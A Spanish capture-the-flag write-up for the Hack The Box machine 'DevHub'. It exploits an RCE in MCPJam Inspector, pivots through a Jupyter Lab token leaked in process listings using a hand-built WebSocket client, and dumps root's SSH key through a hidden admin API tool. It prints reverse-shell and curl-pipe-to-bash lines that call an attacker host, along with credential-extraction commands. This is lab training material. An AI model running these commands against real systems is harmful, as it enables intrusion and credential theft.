DevHub WriteUp

Tabla de contenido

DevHub WriteUp

DevHub es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box , correspondiente a la Season 11. El nombre alude a su función: una plataforma interna de desarrollo que expone un inspector de servidores MCP (Model Context Protocol) . La vulnerabilidad central es CVE-2026-23744, un RCE sin autenticación en MCPJam Inspector con CVSS 9.8.

🗺️ Cadena de Ataque

Nmap → Puerto 22 (SSH) + 80 (nginx DevHub) + 6274 (MCPJam Inspector)
      │
      ▼
CVE-2026-23744 → POST /api/mcp/connect → RCE como mcp-dev
      │
      ▼
ps aux → token Jupyter Lab expuesto → raw WebSocket → RCE como analyst
      │
      ▼
/home/analyst/user.txt 🚩
      │
      ▼
Jupyter lee /opt/opsmcp/server.py (root) → API key + tool oculta ops._admin_dump
      │
      ▼
POST /tools/call target=ssh_keys → clave SSH privada de root
      │
      ▼
ssh -i root_key root@localhost → root.txt 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

echo "10.129.8.48 devhub.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Fase 1, Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv devhub.htb

Fase 2, Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv devhub.htb
PuertoServicioDetalle
22SSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80HTTPnginx 1.18.0, DevHub Internal Development Platform
6274HTTPMCPJam Inspector

El hallazgo clave es el puerto 6274. El título de la respuesta HTTP es MCPJam Inspector: una herramienta de depuración para servidores MCP que por defecto escucha en 0.0.0.0 en lugar de 127.0.0.1, exponiéndola a cualquier atacante con acceso a la red.

💉 Acceso Inicial, CVE-2026-23744 (MCPJam Inspector RCE)

¿Qué es CVE-2026-23744?

🧠 Concepto: CVE-2026-23744 es una vulnerabilidad de RCE pre-autenticado en MCPJam Inspector ≤ 1.4.2. El endpoint /api/mcp/connect acepta en JSON los campos command y args que definen cómo arrancar un servidor MCP, sin ninguna validación ni autenticación. Como el inspector escucha en 0.0.0.0 por defecto, cualquier atacante en red puede enviar un POST con un “servidor MCP” que en realidad ejecuta comandos arbitrarios. CVSS 9.8. Corregido en v1.4.3.

Verificación

Antes de obtener reverse shell, confirmamos la ejecución de código con un callback OOB:

# Terminal 1 — HTTP server
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 2 — exploit (el exploit toma IP:HOST y comando, no URL completa)
git clone https://github.com/boroeurnprach/CVE-2026-23744-PoC
cd CVE-2026-23744-PoC
python3 exploit.py devhub.htb 'curl http://TU_IP/rce-test'
10.129.8.48 - - "GET /rce-test HTTP/1.1" 404 -

RCE confirmado.

Reverse Shell

# Terminal 1 — listener
penelope -p 8443

# Terminal 2 — payload en el HTTP server
echo 'bash -i >& /dev/tcp/TU_IP/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 3 — exploit: descarga shell.sh del atacante y lo ejecuta
python3 exploit.py devhub.htb 'curl http://TU_IP/shell.sh|bash'
[+] Got reverse shell from devhub~10.129.8.48-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/python3!
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$

✅ Shell como mcp-dev. El exploit envía {"serverConfig": {"command": "sh", "args": ["-c", "PAYLOAD"]}} al endpoint /api/mcp/connect, el inspector lanza el proceso sin ninguna validación.

🔑 Pivote a Usuario, Token Jupyter Lab expuesto en procesos

Descubrimiento del token

Con shell como mcp-dev, listamos los procesos en ejecución:

ps aux

Entre los resultados aparece:

analyst 1043 ... /home/analyst/jupyter-env/bin/jupyter-lab
  --ip=127.0.0.1 --port=8888 --no-browser
  --notebook-dir=/home/analyst/notebooks
  --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

El token de autenticación de Jupyter Lab es visible en la línea de comandos del proceso, accesible para cualquier usuario del sistema que pueda ejecutar ps aux. Con este token podemos autenticarnos en la API REST de Jupyter y ejecutar código Python arbitrario como analyst.

Ejecución de código via API Jupyter

La API REST de Jupyter permite crear kernels Python y enviarles código para ejecutar. La comunicación con el kernel usa WebSocket , pero el módulo websocket no está disponible en el Python del sistema.

Solución: implementamos el protocolo WebSocket a mano con el módulo socket de Python estándar, igual que hicimos con el Node.js Inspector en otras máquinas. Los puntos clave del protocolo:

  1. Crear el kernel via REST: POST /api/kernels → obtenemos un kernel_id
  2. Conectar via WebSocket al endpoint /api/kernels/{id}/channels
  3. Enviar un execute_request en formato Jupyter Messaging Protocol
  4. Parsear la respuesta buscando mensajes de tipo stream que contienen el stdout

💡 Los frames WebSocket cliente→servidor deben ir enmascarados (RFC 6455). Sin la máscara XOR el servidor cierra la conexión silenciosamente, es el mismo problema que apareció con el inspector de Node.js.

Paso 1, Crear el kernel:

curl -s -X POST "http://127.0.0.1:8888/api/kernels" \
  -H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
  -H "Content-Type: application/json" \
  -d '{"name":"python3"}'
{"id": "f99996c7-6df0-4583-8f7a-8ceb1396ce7e", "name": "python3", ...}

Paso 2, Ejecutar código en el kernel via WebSocket:

cat > /tmp/jupyter_exec.py << 'EOF'
import socket, json, os, struct, time, uuid, re

KERNEL = "f99996c7-6df0-4583-8f7a-8ceb1396ce7e"
TOKEN  = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
PATH   = f"/api/kernels/{KERNEL}/channels?token={TOKEN}"

# 1. WebSocket handshake (HTTP Upgrade)
sock = socket.socket()
sock.connect(('127.0.0.1', 8888))
sock.settimeout(10)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {PATH} HTTP/1.1\r\nHost: 127.0.0.1:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)  # consume HTTP 101 Switching Protocols

# 2. Función para enviar frames WebSocket con máscara (requerido RFC 6455)
def send_msg(s, msg):
    payload = msg.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
    ln = len(payload)
    if ln <= 125:    hdr = bytes([0x81, 0x80|ln]) + mask
    elif ln <= 65535: hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
    else:             hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
    s.send(hdr + masked)

def recv_all(s, timeout=8):
    s.settimeout(timeout)
    buf = b''
    try:
        while True: buf += s.recv(65536)
    except: pass
    return buf

# 3. Mensaje execute_request (Jupyter Messaging Protocol v5)
msg = {
    "header": {"msg_id": str(uuid.uuid4()), "username": "x",
                "session": str(uuid.uuid4()), "msg_type": "execute_request",
                "version": "5.0", "date": ""},
    "parent_header": {}, "metadata": {},
    "content": {
        "code": "import os; print(os.popen('id; cat /home/analyst/user.txt').read())",
        "silent": False, "store_history": False,
        "user_expressions": {}, "allow_stdin": False
    },
    "channel": "shell", "buffers": []
}

send_msg(sock, json.dumps(msg))
time.sleep(3)

# 4. Extraer el stdout de los mensajes de tipo "stream"
raw = recv_all(sock).decode(errors='replace')
for m in re.finditer(r'"msg_type":\s*"stream".*?"text":\s*"(.*?)"(?=,\s*"buffers")', raw, re.DOTALL):
    print(m.group(1).replace('\\n', '\n'))
sock.close()
EOF
python3 /tmp/jupyter_exec.py
uid=1002(analyst) gid=1002(analyst) groups=1002(analyst)
<user_flag>

🚩 User Flag

cat /home/analyst/user.txt

🧗 Escalada de Privilegios, OPSMCP Flask oculto → clave SSH de root

Descubrimiento del servidor MCP de root

En el ps aux anterior también aparece un proceso relevante:

root 1052 ... /home/manalyst/jupyter-env/bin/python3 /opt/opsmcp/server.py

Un servidor Python corriendo como root. El fichero no es legible por mcp-dev, pero sí por analyst. Lo copiamos a /tmp con permisos de lectura usando el kernel Jupyter que ya tenemos.

💡 Script de elaboración propia, reutiliza exactamente la misma estructura del jupyter_exec.py anterior. El kernel ya existe, solo cambia el campo code del execute_request.

cat > /tmp/jupyter_copy.py << 'EOF'
import socket, json, os, struct, time, uuid

KERNEL = "f99996c7-6df0-4583-8f7a-8ceb1396ce7e"
TOKEN  = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
PATH   = f"/api/kernels/{KERNEL}/channels?token={TOKEN}"

sock = socket.socket()
sock.connect(('127.0.0.1', 8888))
sock.settimeout(10)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {PATH} HTTP/1.1\r\nHost: 127.0.0.1:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)

def send_msg(s, msg):
    payload = msg.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
    ln = len(payload)
    if ln <= 125:    hdr = bytes([0x81, 0x80|ln]) + mask
    elif ln <= 65535: hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
    else:             hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
    s.send(hdr + masked)

msg = {
    "header": {"msg_id": str(uuid.uuid4()), "username": "x",
                "session": str(uuid.uuid4()), "msg_type": "execute_request",
                "version": "5.0", "date": ""},
    "parent_header": {}, "metadata": {},
    "content": {
        # Copiamos el fichero y damos permisos de lectura para mcp-dev
        "code": "import shutil, os; shutil.copy('/opt/opsmcp/server.py', '/tmp/opsmcp_server.py'); os.chmod('/tmp/opsmcp_server.py', 0o644)",
        "silent": False, "store_history": False,
        "user_expressions": {}, "allow_stdin": False
    },
    "channel": "shell", "buffers": []
}

send_msg(sock, json.dumps(msg))
time.sleep(3)
sock.close()
print("Done")
EOF
python3 /tmp/jupyter_copy.py && cat /tmp/opsmcp_server.py

Análisis del servidor

El código revela un servidor Flask escuchando en 127.0.0.1:5000 que implementa una API de operaciones:

  • API key hardcodeada: opsmcp_secret_key_4f5a6b7c8d9e0f1a
  • Tools visibles (/tools/list): ops.system_status, ops.list_services, ops.check_disk, ops.view_logs
  • Tools ocultas (no listadas, pero llamables en /tools/call):
    • ops._debug_mode, revela la existencia de las tools ocultas
    • ops._admin_dump, acepta target (ssh_keys / passwords / tokens) y vuelca credenciales sensibles leyendo directamente /root/.ssh/id_rsa

El fallo es doble: la API key está en el código fuente (accesible como analyst) y las tools administrativas no tienen ninguna protección adicional más allá de esa misma clave.

Verificación de la API

# Comprobamos que el servidor responde y que nuestra clave es válida
curl -s http://127.0.0.1:5000/tools/list \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a"
{"tools": ["ops.system_status", "ops.list_services", "ops.check_disk", "ops.view_logs"], ...}

Solo aparecen las tools visibles. Las ocultas no se listan, pero se pueden llamar directamente.

Extracción de la clave SSH privada de root

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}'
{
  "note": "Emergency recovery key dump",
  "root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1...",
  "target": "ssh_keys"
}

Acceso SSH como root

Extraemos la clave del JSON y nos conectamos directamente desde la máquina víctima:

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['root_private_key'])" > /tmp/root_key
chmod 600 /tmp/root_key
ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@localhost
root@devhub:~#

✅ Shell como root. La API key en el código fuente del servidor MCP (accesible vía Jupyter como analyst) más una tool de “recuperación de emergencia” sin restricciones adicionales dan acceso directo a la clave privada de root.

🏴 Root Flag

cat /root/root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1ReconocimientonmapPuertos 80 (DevHub) + 6274 (MCPJam Inspector)
2CVE-2026-23744 (RCE pre-auth MCPJam)exploit.pyShell como mcp-dev
3Token Jupyter Lab en ps auxWebSocket raw PythonRCE como analyst + user.txt 🚩
4Lectura /opt/opsmcp/server.py via JupyterJupyter kernel APIAPI key + tool oculta ops._admin_dump
5ops._admin_dump target=ssh_keyscurlClave SSH privada de root
6SSH con clave rootsshShell como root + root.txt 🏴

Un saludo, nos vemos en el próximo challenge.